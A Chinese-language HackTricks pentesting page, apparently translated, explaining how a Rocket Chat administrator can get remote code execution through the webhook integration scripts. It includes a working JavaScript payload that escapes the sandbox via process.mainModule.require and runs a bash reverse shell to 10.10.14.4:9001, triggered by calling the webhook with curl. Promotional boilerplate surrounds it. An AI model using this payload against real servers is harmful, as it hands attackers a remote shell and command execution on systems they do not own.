Rocket Chat

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！

支持HackTricks的其他方式：

如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks，请查看订阅计划!
获取官方PEASS & HackTricks周边产品
探索PEASS家族，我们的独家NFTs
加入 💬 Discord群组 或 电报群组 或关注我们的Twitter 🐦 @carlospolopm。
通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。

Websec | Uw Cybersecurity Specialist

RCE

如果您是Rocket Chat内部管理员，您可以获得RCE。

转到**Integrations，选择New Integration，并选择任何一个：Incoming WebHook或Outgoing WebHook**。
/admin/integrations/incoming

根据文档，两者都使用ES2015 / ECMAScript 6（基本上是JavaScript）来处理数据。因此，让我们为JavaScript获取一个用于反向shell的rev shell：

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

配置 WebHook（频道和帖子的用户名必须存在）：

配置 WebHook 脚本：

保存更改
获取生成的 WebHook URL：

使用 curl 调用它，您应该收到反向 shell

Websec | Uw Cybersecurity Specialist

从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！

支持 HackTricks 的其他方式：

如果您想在 HackTricks 中看到您的 公司广告 或 下载 PDF 版本的 HackTricks，请查看 订阅计划!
获取 官方 PEASS & HackTricks 商品
探索 PEASS 家族，我们的独家 NFT 收藏品
加入 💬 Discord 群组 或 电报群组 或关注我们的 Twitter 🐦 @carlospolopm。
通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。

上一页Python 下一页Special HTTP headers

最后更新于1年前